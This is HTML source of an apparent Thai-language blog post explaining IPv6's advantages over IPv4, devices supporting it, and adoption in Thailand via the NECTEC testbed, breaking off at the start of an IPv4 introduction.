&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;รูปที่ 9 แผนภาพแสดงการปรับเปลี่ยนระบบจาก IPv4 ไปสู่ IPv6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;ความสามารถพิเศษของ IPv6 ที่เหนือกว่า IPv4&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;1. Management &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;การตั้งค่าและปรับแต่งระบบเครือข่าย ในปัจจุบันมีความซับซ้อนมาก IPv6 จึงถูกออกแบบมาให้สนับสนุนการติดตั้งและปรับแต่งระบบแบบอัตโนมัติ(auto configuration) เพื่ออำนวยความสะดวกให้กับการจัดสรรปรับเปลี่ยน IP address (Address Renumbering) การเชื่อมต่อกับผู้ให้บริการหลายราย (Multi homing) และแม้แต่การจัดการเครือข่ายแบบ Plug-and-play&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;2. Broadcast/Multicast/Anycast&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ใน IPv4 ได้มีการจัดสรร IP Address ส่วนหนึ่งเพื่อเป็น Broadcast address แต่ในความเป็นจริงแล้วการสื่อสารแบบ Broadcast เป็นสิ่งที่ไม่มีความจำเป็นและสิ้นเปลือง Bandwidth โดยเปล่าประโยชน์ Multicast เป็นการสื่อสารที่มีประสิทธิภาพมากกว่าและเริ่มเป็นที่นิยม IPv6 จึงถูกออกแบบมาให้รองรับ Multicast group address และตัด Broadcast address ออก&lt;br /&gt;&lt;br /&gt;นอกจากนี้ IPv6 ยังเพิ่มความสามารถในการสื่อสารแบบ Anycast โดยอนุญาตให้อุปกรณ์มากกว่า 1ชิ้นได้รับการจัดสรร IP address เบอร์เดียวกันซึ่งหมายความว่าอุปกรณ์ชิ้นใดก็ได้สามารถตอบสนองต่อข้อมูลที่ส่งมาที่ Anycast address นั้นๆ&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;3. Mobile IP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;IPv6 สนับสนุนการใช้งานอินเทอร์เน็ตแบบเคลื่อนที่เช่นเดียวกับ IPv4 แต่ว่าการใช้งาน Mobile IPv6 นั้นมีประสิทธิภาพมากกว่า Mobile IPv4 ตรงที่สามารถส่งข้อมูลผ่านเส้นทางที่สั้นที่สุดโดยไม่ต้องพึ่งอุปกรณ์ตัวกลางในการส่งต่อข้อมูล(Route Optimization)และสามารถใช้ IPSec ในการป้องกันการโจรกรรมแพ็กเก็ตกลางทาง&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;4. Security&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;เราเตอร์และอุปกรณ์เครือข่ายทุกตัวในเครือข่าย IPv6 ถูกกำหนดให้รองรับการใช้งาน IPSec นอกจากนี้ยังมีการกำหนด Security Payload สองประเภทคือ Authentication Payload และ Encrypted Security Payload เพื่อสนับสนุนการรับส่งข้อมูลที่มั่นคงปลอดภัย ภายใต้ Network Layer แทนที่จะพึ่ง Application Layer เหมือนในเครือข่าย IPv4&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji1zoy4i3gJ1iJ4fsVwnUPtqhBDrGHWHW27sZh1g5ADgqpp2Ze4HY7SD9UWkEOmod5TVv3LCm1yxOl1ZwjcjSQ5-U5YcuBepdyzj3t4M4axCYsE8fNSsN4DWTTAxjjRl40v8p3A8Di8pI/s1600/pic10.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji1zoy4i3gJ1iJ4fsVwnUPtqhBDrGHWHW27sZh1g5ADgqpp2Ze4HY7SD9UWkEOmod5TVv3LCm1yxOl1ZwjcjSQ5-U5YcuBepdyzj3t4M4axCYsE8fNSsN4DWTTAxjjRl40v8p3A8Di8pI/s320/pic10.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;รูปที่ 10 แสดงระบบ Security ที่ใช้ IPv6&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;5. Virtual Private Network (VPN )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;แต่เดิมในเครือข่าย IPv4 การให้บริการ VPN ทำได้โดยใช้ IPSec เพื่อเข้ารหัสข้อมูลใน Network Layer ทั้งหมด ซึ่งจะติดปัญหาหากเครือข่ายต้นทางหรือปลายทางมีการทำ Network Address Translation (NAT) เพราะการเข้ารหัสจะต้องสิ้นสุดก่อนถึงจุดหมายปลายทางสำหรับเครือข่าย IPv6 ไม่มีปัญหาดังกล่าว เพราะไม่มีความจำเป็นต้องใช้ NAT อีกต่อไป นอกจากนี้ยังสามารถใช้ Extended Header ที่เรียกว่า Authentication Header และ Encapsulated Security Payload เพื่อรองรับการใช้งาน VPN แบบปลอดภัย&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;6. Quality-of-Service&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;IPv6 ถูกออกแบบมาให้สนับสนุนการรับประกันคุณภาพของบริการตั้งแต่เริ่ม โดยจะเห็นได้จากตำแหน่ง Flow Label และ Traffic Class ในเฮดเดอร์ ถึงแม้ว่าในเฮดเดอร์ของ IPv4 จะมีตำแหน่ง Type-of-Service แต่ไม่มีการใช้อย่างแพร่หลาย เนื่องจากไม่มีมาตรฐานในการกำหนดค่าและเราเตอร์บางตัวเท่านั้นที่สามารถประมวลผลตำแหน่ง ToS ได้ ที่ผ่านมา IPv4 มักปล่อยให้ Layer ข้างล่างจัดการเรื่อง QoS แทน เช่น ผ่านเทคโนโลยี MPLS&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;7. Maximum Transfer Unit (MTU)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;MTU ขั้นต่ำในเครือข่าย IPv4 คือ 576 ไบต์ และถูกเพิ่มเป็น 1280ไบต์ ในเครือข่าย IPv6 การเพิ่มความยาวขั้นต่ำของMTU นี้จะช่วยให้การส่งข้อมูลในเครือข่าย IPv6 มีประสิทธิภาพมากขึ้น โดยช่วยลดสัดส่วนของข้อมูลเฮดเดอร์ต่อข้อมูลทั้งหมด&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;คุณสมบัติของ IP v.6 ที่เหนือกว่า IP v.4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;IP V.6 มีคุณสมบัติที่เหนือกว่า IP V.4 มากมาย ซึ่งสามารถสรุปคร่าวๆ ได้ 5 หัวข้อ ได้แก่ เรื่องการกำหนดแอดเดรส (Addressing), การปรับแต่งระบบ (Configuration), การรับส่งขอมูล (Data Delivery), การค้นหาเส้นทาง (Routing) และความปลอดภัย (Security) ซึ่งรายละเอียดแสดงในตารางที่ 2&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgglj9balQ4aklMiH3_Cmg_8lyceJbelVwhSSvWFmQRQbdgmMl6jxDK-m-5VfoIIkXF9oHFga3jLvGkD5iO5vWb-YubgSXWrjbTEUdfAft8HTuJKM-dKQVu4N3TM93iaYzZCiVpl2pFAAg/s1600/Tab2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgglj9balQ4aklMiH3_Cmg_8lyceJbelVwhSSvWFmQRQbdgmMl6jxDK-m-5VfoIIkXF9oHFga3jLvGkD5iO5vWb-YubgSXWrjbTEUdfAft8HTuJKM-dKQVu4N3TM93iaYzZCiVpl2pFAAg/s320/Tab2.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;ตารางที่ 2 ข้อดีของ IPv6 ที่เหนือกว่า IPv4&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;อุปกรณ์ที่สนับสนุน IPv6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;เนื่องจากจำนวน IP address ของ IPv6 นั้นมีมากมาย อุปกรณ์ต่าง ๆ จึงสามารถที่จะมีหมายเลข IP address ของตัวเองทำให้สามารถเชื่อมต่ออินเทอร์เน็ตได้ อีกทั้งประสิทธิภาพและข้อดีต่าง ๆ ของ IPv6 จะทำให้เกิดโปรแกรม อุปกรณ์ และการใช้งานใหม่ๆ ขึ้นมาอีกมากมายในอนาคต อาทิเช่น Mobile IPv6, 3G Mobile Broadband, Mobile IP Broadcast, VoIP, P2P Game เป็นต้น แม้กระทั่งอุปกรณ์เครื่องใช้ไฟฟ้าภายในบ้านก็จะมี IP address ประจำทำให้แยกแยะและควบคุมได้ เกิดเป็นเครือข่ายภายในบ้าน (Home Network) เช่น ควบคุมการเปิด-ปิดอุปกรณ์เครื่องใช้ไฟฟ้าภายในบ้านผ่านเครือข่ายอินเทอร์เน็ต โทรทัศน์ในอนาคตจะเป็นแบบ interactive คือ สามารถโต้ตอบกับผู้ชมได้ สัญญาณกันขโมยสามารถที่จะส่ง real-time IPv6 packet ไปแจ้งตำรวจหรือสายตรวจที่อยู่ใกล้บ้านเราที่สุดได้ อีกตัวอย่าง คือ Internet Car โดยการใช้ IPv6 ร่วมกับ GPS เพื่อบอกตำแหน่ง เนื่องจากประสิทธิภาพการใช้ GPS ในเมืองจะต่ำเพราะตึกสูงๆ จะบังสัญญาณ ดังนั้นการใช้ร่วมกับ wireless/mobile Internet จะดีกว่า ตัวอย่างสุดท้าย เป็นการใช้งานโดยการติดตั้งกล้อง Surveillance IPv6 camera เพื่อดูแลความปลอดภัยหรือดูสภาพการจราจร กล้องเหล่านี้สามารถเป็น Server ได้ในตัว เก็บข้อมูลได้และติดต่อกันได้โดยตรงเนื่องจากมี IP address จริงเป็นของตัวเอง เป็นต้น&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;สถานการณ์ในปัจจุบัน&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ถึงแม้จะเป็นที่ยอมรับกันโดยทั่วไปว่าสักวันหนึ่งอินเทอร์เน็ตจะต้องปรับเปลี่ยนไปใช้ IPv6 แต่ความตื่นตัวในการปรับเปลี่ยนได้เกิดขึ้นช้ากว่าที่คาดหมายกันไว้ สาเหตุสำคัญ อาจเนื่องมาจากทัศนคติที่ว่า ตราบใดที่อินเตอร์เน็ตยังไม่ขาดแคลนไอพีแอดเดรส IPv6 ก็ยังคงเป็นสิ่งฟุ่มเฟือยและยังไม่จำเป็นมากนัก ถึงกระนั้นก็ตาม IPv6 เริ่มได้รับการยอมรับมากขึ้น เพราะผู้ให้บริการอินเทอร์เน็ตต่างตระหนักดีว่า ไม่ช้าก็เร็ว ปัญหาการขาดแคลนไอพีแอดเดรสจะต้องมาถึง และเมื่อถึงเวลานั้นผู้ที่มีความพร้อมมากกว่าจะเป็นผู้ได้เปรียบ นอกจากนั้น IPv6 ยังเป็นทางออกที่ถาวรทางเดียวในการแก้ปัญหานี้&lt;br /&gt;&lt;br /&gt;การผลักดันให้เกิดการนำ IPv6 ไปใช้งานจริง มีจุดศูนย์กลางอยู่ที่ทวีปยุโรปและเอเชียเป็นหลัก ส่วนทวีปอเมริกาเหนือนั้นยังไม่มีจุดยืนที่ชัดเจน สาเหตุที่สำคัญประการแรกคือ ในปัจจุบันทวีปอเมริกาเหนือมีส่วนแบ่งของไอพีแอดเดรสอยู่ถึงร้อยละ 70 ของไอพีแอดเดรสทั้งหมดในโลก จึงไม่เป็นที่น่าแปลกใจที่ทวีปนี้ยังไม่เห็นความจำเป็นของ IPv6 ในทางตรงกันข้าม ทั้งยุโรปและเอเชียต่างพบปัญหาการมีไอพีแอดเดรสไม่พอกับจำนวนผู้ใช้อินเทอร์เน็ต สาเหตุประการที่สอง สืบเนื่องมาจากเทคโนโลยีโทรศัพท์เคลื่อนที่ยุคที่สาม (3G wireless technology) ทั้งยุโรปและเอเชีย ต่างมีความต้องการสูงทางเทคโนโลยี 3G ซึ่งเทคโนโลยีนี้ทำให้เกิดความต้องการไอพีแอดเดรสที่เพิ่มขึ้น ดังนั้นเราจึงพบว่าผู้ผลิตฮาร์ดแวร์ ซอฟต์แวร์ และองค์กรที่ทำหน้าที่กำหนดมาตรฐานต่างๆ ในทวีปยุโรปและเอเชียต่างส่งสัญญาณที่จะแก้ปัญหาการขาดแคลนไอพีแอดเดรส หรืออีกนัยหนึ่งการตอบรับต่อ IPv6 อย่างจริงจัง&lt;br /&gt;&lt;br /&gt;ในส่วนของประเทศไทย ศูนย์เทคโนโลยีอิเล็กทรอนิคส์และคอมพิวเตอร์แห่งชาติ นับว่าเป็นผู้นำในการให้บริการเชื่อมต่อเครือข่าย IPv6 กับต่างประเทศผ่านการทำ IPv6-over-IPv4 tunnel และการทำ 6to4 relay นอกจากนี้ ศูนย์เทคโนโลยีอิเล็กทรอนิคส์และคอมพิวเตอร์แห่งชาติ ยังได้รับความร่วมมือจากหลายมหาวิทยาลัยและบริษัทผู้ให้บริการอินเทอร์เน็ต ทำให้เกิดเครือข่าย IPv6 เพื่อการทดสอบภายในประเทศ (Thailand IPv6 Testbed) ซึ่งมีการเชื่อมต่อด้วยเทคนิคที่หลากหลาย เช่น dual stacks, IPv6-over-IPv4 tunnel และ Native IPv6 เป็นต้น (รายละเอียดสามารถดูได้จาก http://www.ip6.nectec.or.th) ในปัจจุบันได้มีการก่อตั้งคณะทำงานระดับประเทศขึ้นภายใต้ชื่อ Thailand IPv6 Forum หรือโครงการความร่วมมือพัฒนาและส่งเสริมการใช้เครือข่าย IPv6 ซึ่งเป็นความร่วมมือระหว่างหน่วยงานวิจัย ผู้ให้บริการอินเทอร์เน็ต และผู้ผลิตหรือตัวแทนจำหน่ายฮาร์ดแวร์ระบบเครือข่าย ซึ่งนับว่าเป็นนิมิตรหมายอันดีถึงความตื่นตัวของประเทศไทยในการรับมือกับ IPv6&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxOWNNsr3brGg_4I51tQ8EQ2w5nE-1e57Kly1ljtLyWsAIJ0t69xqtXCpw1L46IMmEQ6bzUkxw4LToR3G_nPlDJzHUr0DEWUSVukCr1iD0PM8aMab5vYHW7Jdkmm8qC8E-Z8Ft7VtLCVE/s1600/pic11.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxOWNNsr3brGg_4I51tQ8EQ2w5nE-1e57Kly1ljtLyWsAIJ0t69xqtXCpw1L46IMmEQ6bzUkxw4LToR3G_nPlDJzHUr0DEWUSVukCr1iD0PM8aMab5vYHW7Jdkmm8qC8E-Z8Ft7VtLCVE/s320/pic11.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;รูปที่ 11 แผนผังแสดงเครือข่ายทดสอบ Thailand IPv6 Testbed&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;บทสรุป&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;การเติบโตอย่างรวดเร็วของเทคโนโลยีเครือข่ายอินเทอร์เน็ต ทำให้ IPv4 ที่ใช้กันอยู่แพร่หลายในปัจจุบันมีแนวโน้มว่ากำลังจะถูกใช้หมดไปในเวลาอันใกล้นี้ ดังนั้น IPv6 จึงเป็นทางออกทางเดียว โดยได้มีการพัฒนาปรับปรุงตัว Protocol เพื่อแก้ปัญหาเหล่านี้ อีกทั้งยังเพิ่มประสิทธิภาพคุณสมบัติต่างๆ ที่เหนือกว่า IPv4 อีกด้วย&lt;br /&gt;&lt;br /&gt;ด้วยความไม่พอเพียงของ IPv4 ที่กำลังจะหมดไป และคุณสมบัติที่เหนือกว่าอย่างมากของ IPv6 ไม่ช้าก็เร็วทุกภาคทุกหน่วยงานจำเป็นต้องนำ IPv6 มาใช้อย่างเลี่ยงไม่ได้ และต้องมีการปรับเปลี่ยนระบบโครงข่ายให้รองรับกับการใช้งาน IPv6 เพื่อตอบสนองต่อความต้องการที่เพิ่มขึ้นอย่างมากของผู้บริโภคในการใช้งานอินเทอร์เน็ตและการใช้งานแอพพลิเคชั่นต่างๆ ดังนั้นผู้ให้บริการเหล่านี้ควรมีการศึกษาวางแผนเตรียมพร้อมล่วงหน้า เพื่อรับมือกับการเปลี่ยนแปลงในการนำ IPv6 มาใช้ในอนาคต โดยผู้ให้บริการควรสำรวจอุปกรณ์เครือข่ายที่สามารถรองรับกับ IPv6 และวางแผนเตรียมพร้อมในการปรับปรุงโครงข่ายของตน ในส่วนของผู้พัฒนา product และแอพพลิเคชั่นก็สามารถที่จะสร้างโอกาสทางธุรกิจได้ โดยศึกษาความต้องการของตลาด เพื่อคิดค้นออกแบบพัฒนา product หรือแอพพลิเคชั่นที่รองรับกับ IPv6 ซึ่งเหล่านี้ควรมีการเตรียมพร้อมไว้ล่วงหน้า เพราะเมื่อถึงเวลาที่ IPv4 หมดลงจริงๆ ผู้ที่พร้อมมากกว่าจะเป็นผู้ได้เปรียบ นอกจากนี้ความเร็วในการเข้ามาและการเตรียมความพร้อมที่ดีจะเป็นการเพิ่มโอกาสทางการแข่งขันทางธุรกิจอีกด้วย&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Internet Protocol (IPV4)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;1.บทนำ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;โปรโตคอล&amp;nbsp; เป็นชุดของกฎกติกาในรูปแบบของซอฟต์แวร์ที่ใช้ควบคุมดูแลการทำงาน&amp;nbsp; เพื่อการแลกเปลี่ยนข้อมูลข่าวสารและสถานะระหว่างเครื่องคอมพิวเตอร์หรือชุดอุปกรณ์เครือข่ายผ่านทางสายสัญญาณที่เชื่อมต่อกันโดยตรงหรือผ่านทางเครือข่ายโปรโตคอล&amp;nbsp; โปรโตคอลระบบเครือข่ายมีไว้เพื่อควบคุมดูแลการทำงานตั้งแต่ระดับ&amp;nbsp; Application&amp;nbsp; ลงมาจนถึงอุปกรณ์เชื่อมต่อเครือข่าย&amp;nbsp; โปรโตคอลที่รู้จักกันแพร่หลาย&amp;nbsp; เช่น&amp;nbsp; อินเตอร์เน็ต&amp;nbsp; โปรโตคอล&amp;nbsp; หรือ&amp;nbsp; IP&amp;nbsp; ซึ่งใช้เป็นรูปแบบมาตรฐานในการส่ง&amp;nbsp;&amp;nbsp; ข้อมูลต่างๆในอินเตอร์เน็ต&amp;nbsp; โดยมีหมายเลขไอพี&amp;nbsp; หรือไอพีแอดเดรสเฉพาะตัว&amp;nbsp; โดยไอพีแอดเดรสมีไว้เพื่อให้ผู้ส่งรู้ว่าเครื่องของผู้รับคือใคร&amp;nbsp; และผู้รับสามารถรู้ได้ว่าผู้ส่งคือใคร&amp;nbsp; เนื่องจากในปัจจุบันมีการใช้ไอพีแอดเดรสในงานต่างๆ&amp;nbsp;&amp;nbsp; และความต้องการไอพีแอดเดรสยังคงเพิ่มมากขึ้นอย่างต่อเนื่องในอนาคต&amp;nbsp;&amp;nbsp; เพื่อที่จะรองรับเทคโนโลยีสมัยใหม่ที่ทันสมัยซึ่งจำเป็นต้องใช้ไอพีแอดเดรสในการติดต่อสื่อสารกัน&amp;nbsp; 